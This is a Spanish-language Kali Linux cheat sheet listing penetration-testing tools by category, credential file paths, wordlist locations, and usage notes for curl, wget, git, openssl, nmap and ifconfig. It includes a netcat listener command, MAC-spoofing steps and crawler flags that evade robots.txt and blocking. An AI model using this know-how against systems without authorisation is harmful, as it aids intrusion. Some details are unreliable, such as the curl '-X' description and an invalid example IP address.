
KALI LINUX
TOOLS

🕵️♂️ FORENSICS
🐺 Autopsy
🟩 Binwalk
🔨 Bulk-extractor
🔷 Foremost
🍪 Galleta
5️⃣ Hashdeep (MD5)
🌐 ENLACES EXTERNOS
📡 ESCANEO
👃 SNIFFING / SPOOFING
🔀 Driftnet
🕷️ Ettercap
📟 Macchanger
🚹 Mitmproxy
👹 Netsniff-ng
🔌 CONEXIÓN
⚔️ FUERZA BRUTA
🔑 Usuarios/Contraseñas Comunes
📁 Archivos y Rutas Sensibles (Linux)
🎩 John the Ripper (hash decryption)
🐈 Hashcat (passwords)
🧞♀️ Medusa (passwords)
🦂 Ncrack (passwords)
✳️ Ophcrack (passwords)
LEYENDA DE COLORES
▉ BLANCO Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
▉ [PARÉNTESIS] [Parámetros a introducir en una línea de comandos]
▉ GRIS Introducciones / Aclaraciones / Texto explicativo
▉ VERDE Sintaxis / Comandos / Código genérico
▉ VERDE PÁLIDO Prompts / Parámetros destacados
▉ AZUL Rutas / Directorios / "Windows"
▉ AZUL CLARO URLs / IPs
▉ ROSA Destacar parámetros en una línea de comandos
▉ ROJO Comandos de privilegios / stderr / Atención
▉ NARANJA Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
▉ AMARILLO Puertos / UDP / JavaScript / php
🗃️ SISTEMA DE ARCHIVOS
FHS:
El Filesystem Hierarchy Standard (FHS) es un estándar que describe las convenciones utilizadas para la estructura de directorios en sistemas similares a Unix, incluyendo Linux. Este estándar ha sido adoptado y popularizado por su uso en distribuciones de Linux, aunque también es utilizado por otros sistemas operativos basados en Unix. El FHS es mantenido por la Linux Foundation, y la última versión es la 3.0, lanzada el 3 de junio de 2015.
Desde su inicio como una iniciativa de Linux, el FHS ha sido adoptado por otros sistemas operativos derivados de Unix, aunque algunos de estos sistemas operativos han optado por desarrollar sus propias estructuras de directorios, que pueden variar significativamente. Por ejemplo, MacOS X utiliza nombres como /Applications, /Library y /Users, además de la jerarquía de directorios tradicional de Unix.
En sistemas Unix y similares como BSD y GNU/Linux, todos los archivos y directorios están contenidos bajo el directorio raíz (/), independientemente de si se encuentran en diferentes dispositivos físicos. Aunque la mayoría de estos directorios existen en todos los sistemas operativos tipo Unix y se utilizan de manera similar, las descripciones proporcionadas por el FHS son específicas para este estándar y no son obligatorias en otras plataformas GNU/Linux
🔧 HERRAMIENTAS DE KALI LINUX POR CATEGORÍAS (2024)
01 - Recopilación de Información:
DNS Analysis - dnsenum
DNS Analysis - dnsmap
DNS Analysis - dnsrecon
DNS Analysis - fierce
IDS/IPS Identification - lbd
IDS/IPS Identification - wafw00f
Live Host Identification - arping
Live Host Identification - fping
Live Host Identification - hping3
Live Host Identification - masscan
Live Host Identification - netcat
Live Host Identification - thcping6
Live Host Identification - unicornscan
Network & Port Scanners - masscan
Network & Port Scanners - nmap
Network & Port Scanners - unicornscan
OSINT Analysis - maltego (installer)
OSINT Analysis - spiderfoot
OSINT Analysis - spiderfoot-cli
OSINT Analysis - theharvester
Route Analysis - netdiscover
Route Analysis - netmask
SMB Analysis - enum4linux
SMB Analysis - nbtscan
SMB Analysis - smbmap
SMTP Analysis - smtp-user-enum
SMTP Analysis - enswaks
SNMP Analysis - onesixtyone
SNMP Analysis - snmp-check
SSL Analysis - ssldump
SSL Analysis - sslh
SSL Analysis - sslscan
SSL Analysis - sslyze
amass
dmitry
ike-scan
legion (root)
recon-ng
09 - Sniffing & Spoofing:
Network Sniffers - dnschef
Network Sniffers - dnsiff
Network Sniffers - netsniff-ng
Spoofing & MITH - dnschef
Spoofing & MITH - rebind
Spoofing & MITH - sslsplit
Spoofing & MITH - tcpreplay
ettercap-graphical
macchanger
minicom
mitmproxy
responder
scapy
tcpdump
wireshark
10 - Post-Explotación:
OS Backdoors - dbd
OS Backdoors - powersploit
OS Backdoors - sbd
Tunneling & Exfiltration - dbd
Tunneling & Exfiltration - dns2tcpc
Tunneling & Exfiltration - dns2tcpd
Tunneling & Exfiltration - exe2hex
Tunneling & Exfiltration - iodine
Tunneling & Exfiltration - miredo
Tunneling & Exfiltration - proxychains4
Tunneling & Exfiltration - proxytunnel
Tunneling & Exfiltration - ptunnel
Tunneling & Exfiltration - pwat
Tunneling & Exfiltration - sslh
Tunneling & Exfiltration - stunnel4
Tunneling & Exfiltration - udptunnel
Web Backdoors - laudanum
Web Backdoors - weevely
evil-winrm
impacket
mimikatz
netcat
powershell empire
powersploit
starkiller
02 - Análisis de Vulnerabilidades:
Fuzzing Tools - spike-generic_chunked
Fuzzing Tools - spike-generic_listen_tcp
Fuzzing Tools - spike-generic_send_tcp
Fuzzing Tools - spike-generic_send_udp
VoIP Tools - voiphopper
legion (roo)
nikito
nmap
unix-privesc-chech
04 - Evaluación de Base de Datos:
SQLite database browser
sqlmap
05 - Ataques de Contraseña:
Offline Attacks - chntpw
Offline Attacks - hash-identifier
Offline Attacks - hashcat
Offline Attacks - hashid
Offline Attacks - john
Offline Attacks - ophcrack-cli
Offline Attacks - samdump2
Online Attacks - hydra
Online Attacks - hydra-graphical
Online Attacks - medusa
Online Attacks - ncrack
Online Attacks - onesixtyone
Online Attacks - patator
Online Attacks - thc-pptp-bruter
Passing the Hash Tools - crackmapexec
Passing the Hash Tools - evil-winrm
Passing the Hash Tools - impacket
Passing the Hash Tools - pth-curl
Passing the Hash Tools - pth-net
Passing the Hash Tools - pth-rpcclient
Passing the Hash Tools - pth-smbclient
Passing the Hash Tools - pth-smbget
Passing the Hash Tools - pth-sqsh
Passing the Hash Tools - pth-winexe
Passing the Hash Tools - pth-wmic
Passing the Hash Tools - pth-wmis
Passing the Hash Tools - pth-xfreerdp
Passing the Hash Tools - smbmap
Password Profiling & Wordlists - cewl
Password Profiling & Wordlists - crunch
Password Profiling & Wordlists - rsmangler
Password Profiling & Wordlists - wordlists
11 - Forense:
Forensic Carving - magicrescue
Forensic Carving - scalpel
Forensic Carving - scrounge-ntfs
Forensic Imaging- guymanager (root)
PDF Forensics - pdf-parser
PDF Forensics - pdfid
Sleuth Kit Suite - autopsy (root)
Sleuth Kit Suite - blkcalc
Sleuth Kit Suite - blkcat
Sleuth Kit Suite - blkls
Sleuth Kit Suite - blkstat
Sleuth Kit Suite - ffind
Sleuth Kit Suite - fls
Sleuth Kit Suite - fsstat
Sleuth Kit Suite - hfind
Sleuth Kit Suite - icat-sleuthkit
Sleuth Kit Suite - ifind
Sleuth Kit Suite - ils-sleuthkit
Sleuth Kit Suite - img_cat
Sleuth Kit Suite - img_stat
Sleuth Kit Suite - istat
Sleuth Kit Suite - jcat
Sleuth Kit Suite - jls
Sleuth Kit Suite - mactime-sleuthkit
Sleuth Kit Suite - mmcat
Sleuth Kit Suite - mmls
Sleuth Kit Suite - mmstat
Sleuth Kit Suite - sigfind
Sleuth Kit Suite - sorter
Sleuth Kit Suite - srch_strings
Sleuth Kit Suite - tsk_comparedir
Sleuth Kit Suite - tsk_gettimes
Sleuth Kit Suite - tsk_loadd
Sleuth Kit Suite - tsk_recover
binwalk
bulk_extractor
hashdeep
03 - Análisis de Aplicaciones Web:
CMS & Framework ID - wpscan
Web Application Proxies - burpsuite
Web Crawlers & Dir. BruFor - cutycapt
Web Crawlers & Dir. BruFor - dirb
Web Crawlers & Dir. BruFor - dirbuster
Web Crawlers & Dir. BruFor - ffuf
Web Crawlers & Dir. BruFor - gobuster
Web Crawlers & Dir. BruFor - wfuzz
Web Vulnerability Scanners - cadaver
Web Vulnerability Scanners - davtest
Web Vulnerability Scanners - nikito
Web Vulnerability Scanners - skipfish
Web Vulnerability Scanners - wapiti
Web Vulnerability Scanners - whatweb
Web Vulnerability Scanners - wpscan
burpsuite
commix
sqlmap
webshells
06 - Ataques a Redes Inalámbricas:
802.11 Wireless - bully
802.11 Wireless - fern wifi cracker (root)
Bluetooth - spooftooph
aircrack-ng
kismet
pixiewps
reaver
wifite
07 - Ingeniería Inversa:
clang
clang++
NASM shell
radare2
08 - Explotación:
crackmapexec
metasploit framework
msf payload creator
searchsploit
social engineering toolkit (root)
sqlmap
12 - Elaboración de Informes:
CherryTree
cutycapt
faraday start
maltego (installer)
pipal
recordmydesktop
13 - Ingeniería Social:
maltego (installer)
msf payload creator
social engineering toolkit (root)
🎯 RUTAS DE INTERÉS
📂 Directorios principales (Kali Linux):
. (directorio actual)
~ (directorio home del usuario actual)
/ (raíz del sistema o root)
📂 Archivos importantes del sistema (Kali Linux):
/etc/passwd (usuarios y grupos a los que pertenecen)
/etc/shadow (contraseñas de usuarios)
/etc/cron.d (tareas cron)
/etc/default/useradd (parámetros por defecto de usuarios)
/etc/group (grupos de usuarios)
/etc/gshadow (contraseñas de los grupos)
⚠️ Directorios con permisos 1777 (Kali Linux):
/var/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-haveged.service-NCCnDI/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-systemd-logind.service-S2AQ87/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-colord.service-t3rBkK/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-ModemManager.service-5N0X8d/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-upower.service-nWr0qe/tmp
/var/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-polkit.service-7oFGKB/tmp
/run/lock
/run/screen
/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-ModemManager.service-hwi4TC/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-colord.service-arI5Me/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-systemd-logind.service-dOKKaL/tmp
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-haveged.service-8XPD6b/tmp
/tmp/.font-unix
/tmp/.XIM-unix
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-polkit.service-cCb2On/tmp
/tmp/.X11-unix
/tmp/.ICE-unix
/tmp/systemd-private-36568570a14f473b9bc4d8df9b2f7c16-upower.service-gu3tpf/tmp
/dev/shm
/dev/mqueue
⚠️ Directorios con permisos 755 (Kali Linux):
/var/lib/AccountsService
/var/lib/AccountsService/icons
/var/lib/inetsim/http/postdata
/var/lib/inetsim/ftp/upload
/var/lib/inetsim/smtp
/var/lib/inetsim/tftp/upload
📋 WORDLISTS (Kali Linux):
/usr/lib/python3/dist-packages/theHarvester/wordlists (OSINT tool)
/usr/share/wordlists (generic)
/usr/share/amass/wordlists (subdomains)
/usr/share/dirb/wordlists (dirb. common, spanish, catala, euskera...)
/usr/share/dirbuster/wordlists (dirbuster. directory lists)
/usr/share/doc/wordlists (changelog y copyright)
/usr/share/fern-wifi-cracker/extras/wordlists (wifi)
/usr/share/legion/wordlists (db2, ft, gvit, mssql, oracle, root, ssh, telnet, tomcat, windows...)
/usr/share/metasploit-framework/data/wordlists (adobe, burnett, db2, http, ipmi, joomla, unix, vxworks...)
🌐 CURL
El comando curl en Linux es una herramienta de línea de comandos que se utiliza para transferir datos hacia o desde un servidor con URL, utilizando varios protocolos soportados (HTTP, FTP, POP3, IMAP, SMTP, SCP, SFTP, TFTP, TELNET, LDAP, etc.)
Instalación:
sudo apt-get install curl
Ver por consola código HTML de una web:
curl https://www.ejemplo.com
Descargar código HTML de una web (variación más funcional):
curl -s -X GET https://www.ejemplo.com
Obtener código HTML de página web (en modo silent):
curl -s -X GET https://www.ejemplo.com
Descargar código HTML de una web y guardarlo en un archivo especificando el nombre:
curl https://www.ejemplo.com > pagina.html
Descargar archivo de una web y guardarlo en un archivo especificando el nombre:
curl https://www.ejemplo.com/wordlist.txt -o list.txt
Para subir un archivo a una web:
curl -F "nombre_campo=@home/archivo" https://www.ejemplo.com
Comprobar estado de URL. Si la URL existe, devolverá un código "200" exitoso:
curl -s -o /dev/null -w "%{http_code}" https://www.ejemplo.com
⚠️ Cuando "git clone" no funciona con GitHub (modificar la parte naranja para que corresponda con el repositorio):
curl https://codeload.github.com/vulhub/vulhub/tar.gz/master | tar -xz --strip=2 vulhub-master/kibana/CVE-2018-17246
PARÁMETROS:
-s (Modo Silent. Oculta parte del output, como el progreso de la descarga o los mensajes de error)
-X (Usado para agregar un encabezado "Authorization" con un token)
-O (Descargar el contenido de una URL y guardarlo en el directorio de trabajo actual con el mismo nombre de archivo que el remoto)
Ejemplo: curl -O http://testdomain.com/testfile.tar.gz
-o (Similar a -O, pero permite especificar un nombre de archivo o ubicación diferente para guardar el contenido descargado)
Ejemplo: curl -o newtestfile.tar.gz http://testdomain.com/testfile.tar.gz
-C - (Para reanudar una descarga interrumpida)
Ejemplo: curl -C - -O http://testdomain.com/testfile.tar.gz
-x (Cuando hay un servidor proxy. Debes proporcionar la dirección del servidor proxy y el puerto)
Ejemplo: curl -x sampleproxy.com:8090 -O http://testdomain.com/testfile.tar.gz
-I (Para obtener la información del encabezado HTTP de una página web. Estado, servidor, contenido...etc)
Ejemplo: curl -I www.testdomain.com
--cookie-jar (Para guardar las cookies de una URL en un archivo)
Ejemplo: curl --cookie-jar Mycookies.txt https://www.samplewebsite.com/index.html
-u (Para proporcionar un nombre de usuario y una contraseña para conexiones FTP)
Ejemplo: curl -u username:password -O ftp://sampleftpserver/testfile.tar.gz
--limit-rate (Para limitar la velocidad de descarga)
Ejemplo: curl --limit-rate 100K http://testdomain.com/samplefile.tar.gz
-v (Para proporcionar información detallada sobre la solicitud y la respuesta realizada)
Ejemplo: curl -v https://google.com
-sS (Para ocultar la información de progreso en el outpur de curl. TOTAL, RECEIVED, XFERD, AVERAGE...etc)
Ejemplo: curl -sS https://google.com
🌐 WGET
El comando wget es una herramienta de línea de comandos en sistemas Unix y Linux que se utiliza para descargar archivos de la web. Es muy útil para descargar archivos automáticamente desde la línea de comandos sin necesidad de utilizar un navegador web.
Instalación:
sudo apt-get install wget
SINTAXIS:
wget [flags] [URL]
PARÁMETROS:
-r (Descarga todo el sitio web recursivamente)
-c (Hace que continúe una descarga que se había interrumpido)
–continue (Hace que continúe una descarga que se había interrumpido)
-N (Descarga el archivo únicamente si es más nuevo que otro archivo que tenga el mismo nombre en tu ordenador)
-t [nº] (Define el número de veces que wget debe intentar descargar un archivo en tu sistema operativo de Linux)
-w [secs] (Define cuántos segundos deben transcurrir entre dos descargas consecutivas)
-m (Hace que wget descargue de forma recursiva, es decir, descargará todo el sitio web)
-p (Descarga todos los archivos necesarios para visualizar correctamente una página web, incluyendo imágenes y
archivos CSS)
-np (No sigue enlaces a directorios superiores al directorio actual)
-k (Convierte los enlaces en los archivos descargados para que funcionen localmente, es decir, para que se refieran a los
archivos descargados y no a los enlaces originales)
--no-clobber (Evita sobrescribir archivos existentes)
-erobots=off (Ignora el archivo robots.txt, lo que permite descargar contenido que normalmente estaría bloqueado)
-U mozilla (Finge ser un navegador Mozilla para evitar ser bloqueado por algunos servidores)
--limit-rate=50K (Limita la velocidad de descarga a 50K para evitar sobrecargar la conexión)
--wait=2 (Espera 2 segundos entre las solicitudes para evitar ser bloqueado por el servidor)
--html-extension (Guarda los archivos HTML con la extensión .html)
--page-requisites (Descarga todos los elementos necesarios para mostrar la página correctamente. Imágenes, CSS, JavaScript, etc.)
--convert-links (Convierte los enlaces para que funcionen localmente, offline)
--domains [url] (Limita la descarga a un dominio específico)
--no-parent (No asciende a directorios superiores al dominio especificado)
Descargar archivo especificando nombre:
wget -O lista.txt https://www.example.com/wordlist.txt
Descargar todos los archivos de una web, de forma recursiva:
wget -r https://www.example.com
Descargar página principal como "index.html":
wget https://www.example.com
Descargar página completa, de forma recursiva:
wget -r https://www.example.com
Descargar archivos individuales:
wget http://example.com/path/to/file.txt
Descargar múltiples archivos a partir de una lista de URLs:
wget -i filelist.txt
Descargar archivos protegido:
wget --user=username --password=password http://example.com/path/to/protected/file.txt (Descargar archivo protegido)
Descargar una web entera y sus subdominios:
wget -m -p -np -k -erobots=off -U mozilla --limit-rate=50K --wait=2 --html-extension http://example.com
🌐 GIT
Diferentes comandos para interactuar desde la terminal con servidores GitHub.
Copiar contenido de repositorio GitHub (esto incluye todos los archivos, la historia de commits, las ramas y las etiquetas):
git clone [url]
Ejemplo de descarga de repositorio:
git clone https://github.com/usuario/nombre_del_repositorio.git
Ejemplo descarga de repositorio indicando ruta:
git clone https://github.com/usuario/nombre_del_repositorio.git /home/usuario/github/
Descarga de rama específica del repositorio:
git clone -b [nombre_de_la_rama] [url]
_____________________________________________________________________________________________
Gestionar repositorio GitHub:
git init (Crear proyecto en GitHub)
git add . git commit -m "first commit" (Guardar cambios al repositorio)
git status (Ver estado actual del repositorio)
git branch [rama] (Crear nueva rama)
git branch -a (Listar todas las ramas remotas o locales)
git branch -d [rama] (Borrar rama)
gitmerge [rama] (Combinar cambios a la rama actual)
git checkout [rama] (Comprobar una rama existente)
git checkout -b [rama] (Comprobar y crear una nueva rama)
git tag [etiqueta] (Crear etiqueta)
git tag -d [etiqueta] (Borrar etiqueta)
git push --tags (Guardar etiquetas)
git pull [rama] [URL/nombre] (Obtener la última versión del repositorio)
git remote add origin [URL] (Agregar repositorio remoto)
git config --global user.name [usuario] (Definir nombre de usuario para todos las instantáneas o commits)
git config --global user.email [email] (Definir email de usuario para todos las instantáneas o commits)
git help -g (Guía de ayuda)
git revert HEAD^ (Deshacer cambios de instantánea previa)
git push [URL/nombre] [rama] (Guardar instantáneas locales en repositorio remoto)
git stash -u (Guardar trabajo actual con archivos sin-seguimiento)
git rm -f [archivo] (Borrado forzado de archivo)
git rm -r -f [directorio] (Borrado forzado de un directorio entero)
git push origin :[rama] (Borrar rama remota)
📄 LOCAL DNS (/ETC/HOSTS)
El archivo /etc/hosts en Linux es un archivo de texto plano utilizado para asociar direcciones IP con nombres de dominio totalmente calificados (FQDN). Este archivo es particularmente útil cuando un servidor DNS no está disponible y un usuario necesita acceder a un dominio desde su navegador. En ausencia de un servidor DNS accesible, Linux recurre al archivo /etc/hosts para resolver el nombre de dominio.
Abrir y editar el archivo /etc/hosts:
sudo mousepad /etc/hosts
127.0.0.1 localhost
127.0.1.1 kaliSF01
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.100.100.100 example1.com
10.100.100.200 example2.com
También es posible añadir una línea de texto al final del archivo /etc/hosts con la siguiente línea:
echo "10.100.100.300 example3.com" | sudo tee -a /etc/hosts
Agregar esta entrada en el archivo /etc/hosts permitirá que el navegador resuelva el nombre de host example3.com a la dirección IP correspondiente y, por lo tanto, haga que el navegador incluya el encabezado HTTP Host: example3.com en cada solicitud HTTP que el navegador envíe a esta dirección IP, lo cual hará que el servidor responda con la página web para example3.com.
🚦 CÓDIGOS DE ESTADO
1** CÓDIGOS INFORMATIVOS:
100 (Continúa)
101 (Cambia de protocolos)
102 (Procesando)
103 (¿?)
122 (Solicitud URI demasiado larga)
2** CÓDIGOS DE ÉXITO:
200 (OK)
201 (Creado)
202 (Aceptado)
203 (Información no-autorizativa)
204 (Sin contenido)
205 (Resetear contenido)
206 (Contenido parcial)
207 (Multi-estado)
208 (Previamente reportado)
218 (Está correcto)
226 (IM en uso)
3** CÓDIGOS DE REDIRECCIÓN:
300 (Múltiples opciones)
301 (Movido permanentemente)
302 (Encontrado)
303 (Ver otro)
304 (No modificado)
305 (Utiliza proxy)
306 (Cambia proxy)
307 (Redirección temporal)
308 (Redirección permanente)
4** CÓDIGOS DE ERROR DE CLIENTE:
400 (Solicitud errónea)
401 (No autorizado)
402 (Pago requerido)
403 (Prohibido)
404 (No encontrado)
405 (Método no permitido)
406 (Inaceptable)
407 (Autenticación de proxy requerida)
408 (Tiempo de solicitud agotado)
409 (Conflicto)
410 (Perdido)
411 (Distancia requerida)
412 (Precondición fallida)
413 (Payload demasiado larga)
414 (Solicitud URI demasiado larga)
415 (Tipo de medio no soportado)
416 (Rango de solicitud insatisfecho)
417 (Expectación fallida)
418 (Soy una tetera)
419 (Tiempo de autenticación agotado)
420 (¿?)
421 (Solicitud mal dirigida)
422 (Entidad no procesable)
423 (Bloqueado)
424 (Dependencia fallida)
425 (Demasiado pronto)
426 (Requiere actualización)
428 (Requiere precondición)
429 (Demasiadas solicitudes)
431 (Campo "header" de solicitud demasiado largo)
444 (Conexión cerrada sin respuesta)
449 (Reintentar con)
451 (No disponible por razones legales)
460 (¿?)
463 (¿?)
464 (¿?)
494 (Solicitud de "header" demasiado larga)
495 (Error de Certificado SSL)
496 (Certificado SSL requerido)
497 (Solicitud HTTP enviada a puerto HTTPS)
499 (El cliente cerró la solicitud)
5** CÓDIGOS DE ERROR DE SERVIDOR:
500 (Error interno del servidor)
501 (No implementado)
502 (Mal "gateway")
503 (Servicio no disponible)
504 ("Gateway" tardó demasiado)
505 (Versión HTTP n osoportada)
506 (Variante tambien negocia)
507 (Almacenamiento insuficiente)
508 (Loop o ciclo detectado)
510 (No extendido)
511 (Se requiere autenticación de red)
520 (Servidor web devuelve un error desconocido)
521 (Servidor web caído)
522 (Tiempo de conexión excedido)
523 (Origen inalcanzable)
524 (Ocurrió un tiempo de espera excesivo)
525 (El handshake SSL falló)
526 (Certificado SSL inválido)
527 (Railgun error)
561 (No autorizado)
598 (Lectura de red con error de tiempo excedido)
599 (Conexión de red con error de tiempo excedido)
☑️ OPENSSL
Para establecer una Conexión SSL/TLS con OpenSSL a un servidor HTTPS (puerto 443)se puede utilizar el comando openssl s_client y realizar pruebas de conexión. De esta forma se abrirá una conexión SSL/TLS al servidor mostrando detalles sobre el certificado y la conexión. OpenSSL es una herramienta versátil que permite no solo manejar criptografía y certificados, sino también establecer conexiones seguras a servidores para pruebas y diagnósticos. La opción s_client es particularmente útil para verificar configuraciones de servidores y la validez de certificados SSL/TLS.
SINTAXIS:
openssl s_client -connect [url]:443
EJEMPLO:
openssl s_client -connect www.google.com:443 -servername www.google.com -showcerts
PARÁMETROS:
--connect [url_host]:[puerto] (Especifica el host y puerto al que deseas conectarte)
--servername [hostname] (Utilizado para establecer el nombre del servidor. SNI - Server Name Indication)
--showcerts (Muestra todos los certificados en la cadena del servidor)
-CAfile [archivo] (Especifica un archivo de certificados CA para validar el certificado del servidor)
🔒 SSLSCAN
SSLscan es una herramienta de línea de comandos utilizada para probar los servidores SSL/TLS. Es especialmente útil para evaluar la seguridad de las configuraciones SSL/TLS de un servidor, mostrando detalles como los certificados, los protocolos soportados y las vulnerabilidades potenciales.
SINTAXIS:
sslscan [url]
EJEMPLO:
sslscan --no-failed www.google.com
PARÁMETROS:
--no-failed (Incluye en el informe los intentos de conexión fallidos)
--show-certificate (Muestra los detalles del certificado SSL/TLS)
--ss12 (Forzar el uso de este protocolo durante el escaneo)
--ss13 (Forzar el uso de este protocolo durante el escaneo)
--tls1 (Forzar el uso de este protocolo durante el escaneo)
--tls1_1 (Forzar el uso de este protocolo durante el escaneo)
--tls1_2 (Forzar el uso de este protocolo durante el escaneo)
--tls1_3 (Forzar el uso de este protocolo durante el escaneo)
--verbose (Aumentar verbosidad. Más detalles)
🔌 PUERTOS
Total puertos de red:
65.535
Ver conexiones activas:
netstat -nat
Escaneo básico de puertos abiertos (router de la red local) con NMAP:
nmap 192.168.1.1
Escaneo básico de puertos abiertos (equipo) con NMAP:
nmap localhost
Poner en escucha activa un puerto con Netcat:
nc -nlvp 22
Ver aplicaciones corriendo por un puerto del equipo:
lsof -i:22
🌐 Puertos de Red
PUERTO
20, 21
22
23
25
53
67, 68
69
80
110
119
123
135, 139
139, 445
143
156
161, 162
179
194
389
443
500
636
989, 990
3478-3480
5223
6379
6380
7777
27015
PROTOCOLO/S
TCP
TCP - UDP
TCP
TCP
TCP - UDP
UDP
UDP
TCP
TCP
TCP
UDP
TCP - UDP
TCP - UDP
TCP - UDP
TCP
TCP - UDP
TCP - UDP
TCP - UDP
UDP
TCP - UDP
TCP
TCP
TCP
SERVICIO
FTP
SSH
TELNET
SMTP
DNS
DHCP
TFTP
HTTP
POP3
NNTP
NTP
NETBIOS
SMB
IMAP4
SQL
SNMP
BGP
IRC
LDAP
SSL
IKE
TLS/SSL
FTP over SSL
UPnP
DESCRIPCIÓN
File Transfer Protocol
Secure Shell
TELetype NETwork (control remoto)
Simple Mail Transfer Protocol
Domain Name Server
trivial File Transfer Protocol
Hyper Text Transfer Protocol
Dynamic Host Configuration Protocol
Post Office Protocol
Network News Transfer Protocol
Network Time Protocol
Server Message Block (redes de empresa)
Internet Message Access Protocol
Structured Query Language
Simple Network Management Protocol
Border Gateway Protocol
Internet Relay Chat
Lightweight Directory Access Protocol
(HTTPS) with Secure Sockets Layer
Internet Key Exchange
Universal Plug and Play Protocol
Game Center service on Apple devices
Redis Service (NoSQL DataBase)
Redis Service (NoSQL DataBase)
Game data transmission, player connections, and server browsing
Steam gaming platform
🏓 PING
Ping es una utilidad de red utilizada para probar la conectividad entre dos dispositivos en una red. Funciona enviando paquetes de solicitud ICMP (Internet Control Message Protocol) a un dispositivo de destino y esperando una respuesta de tipo ICMP de vuelta. Es una herramienta esencial para diagnosticar problemas de red y para comprobar la accesibilidad de un host en una red.
Envío recursivo de paquetes:
ping [IP_hostname]
EJEMPLO::
ping google.com
64 bytes from waw02s06-in-f14.1e100.net (216.58.209.78): icmp_seq=1 ttl=116 time=7.48 ms
Envío de paquetes con condicionantes:
ping -c 4 -i 1 [IP_hostname]
Comprobar estado de IP en la red local (online / offline):
ping -c 1 -q 192.168.1.1 >/dev/null 2>&1 && echo ONLINE || echo OFFLINE
PARÁMETROS BÁSICOS:
-c [nº] (Especifica el número de envíos de paquetes)
-i [nº] (Especifica el tiempo en segundos entre cada envío de paquetes)
-t [nº] (Establece el valor de TTL de los paquetes enviados. Por ejemplo 64)
TTL (Time To Live):
SO PRINCIPALES DEFAULT TTL
Linux / Unix (2001-2015) 255
Linux / Unix (2015-today) 64
MacOS 64
Windows 128
Solaris / AIX 254
🔌 IFCONFIG
localhost = 127.0.0.1
lP Router = 192.168.1.1
El comando ifconfig se utiliza para configurar o ver la configuración de una interfaz de red. Aunque ampliamente utilizada, algunos sistemas modernos de Linux lo han reemplazado por el comando "ip link show".
EJEMPLO:
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::a00:27ff:fe4e:66a1 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4e:66:a1 txqueuelen 1000 (Ethernet)
RX packets 786 bytes 65576 (65.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 429 bytes 37759 (37.7 KB)
TX errors 0 dropped overruns 0 carrier 0 collisions 0
DESGLOSE DE LOS COMPONENTES CLAVE DEL OUTPUT:
eth0: Este es el nombre de la interfaz de red. Ouede ser cualquier cadena, pero generalmente representa el tipo de interfaz (por ejemplo, eth0 pertenece a una interfaz de Ethernet, wlan0 pertenece a una interfaz inalámbrica, y lo pertenece a la interfaz loopback o localhost, que viene a ser la propia máquina).
flags=4163<UP,BROADCAST,RUNNING,MULTICAST>: Estas son las banderas de estado de la interfaz. Indican si la interfaz está activada (up) puede recibir y enviar datos (running), puede recibir y enviar paquetes de diifusión (broadcast) y si puede recibir y enviar paquetes de multidifusión (multicast).
mtu 1500: Esta es la Unidad Máxima de Transmisión, que es el tamaño máximo de los paquetes que pueden ser enviados a través de esta interfaz. Normalmente, este valor se establece en 1500 para las interfaces Ethernet.
inet 192.168.1.102 netmask 255.255.255.0 broadcast 192.168.1.255: Estos son los detalles de la dirección IP de la interfaz. La dirección IP es la dirección que identifica a la interfaz en la red. La máscara de red determina qué parte de la dirección IP se usa para identificar la red o cuál se usa para identificar la ubicación específica dentro de esa red. La dirección de difusión es la dirección que se utiliza para enviar un mensaje a todos los dispositivos de la red.
inet6 fe80::a00:27ff:fe4e:66a1 prefixlen 64 scopeid 0x20<link>: Estos son los detalles de la dirección IPv6 de la interfaz.
ether 08:00:27:4e:66:a1: Esta es la dirección física (tambien conocida como dirección MAC o HWaddr) de la interfaz. Se utiliza para identificar de forma única la tarjeta de red en la red.
Las estadísticas de RX y TX proporcionan información sobre los paquetes que la interfaz ha recibido (RX) y enviado (TX). Esto incluye el número total de paquetes, el número de bytes transmitidos, y el número de erroresque han ocurrido durante la transmisión o recepción de paquetes.
Reminder:
Usar sudo si no se es root
Modificar dirección IP de interfaz de red:
ifconfig eth0 192.168.1.14 (ejemplo)
Modificar dirección IP, máscara de red y broadcast :
ifconfig eth0 10.0.2.16 netmask 255.255.0.0 broadcast 10.255.255.250
Modificar dirección MAC para spoofing:
ifconfig eth0 down
ifconfig eth0 hw ether 00:11:22:33:44:55 (ejemplo)
ifconfig eth0 up
Modificar dirección IP de interfaz de red:
sudo ifconfig eth0 (ip nueva)
🖥️ VER IPs DESDE TERMINAL
🟧 Ver IP PRIVADA (LAN):
hostname -I | awk '{print $1}'
ifconfig | grep -A 1 "eth0" | grep inet | awk '{print$2}'
alias ip-private='hostname -I | awk '\''{print $1}'\'
🟥 Ver IP PÚBLICA (INTERNET):
curl -s ifconfig.me
curl ifconfig.me/ip
alias ip-public='curl -s ifconfig.me'
🟦 Ver IP de DOCKER:
ifconfig | grep -A 1 "docker" | grep inet | awk '{print$2}'
alias ip-docker='ifconfig | grep -A 1 "docker" | grep inet | awk '{print$2}'\'
🟨 Ver IP OVPN:
ifconfig | grep -A 1 "tun0" | grep inet | awk '{print$2}'
alias ip-ovpn='ifconfig | grep -A 1 "tun0" | grep inet | awk '{print$2}'\'
🟪 Ver IP LOCALHOST:
ifconfig | grep -A 1 "lo:" | grep inet | awk '{print$2}'
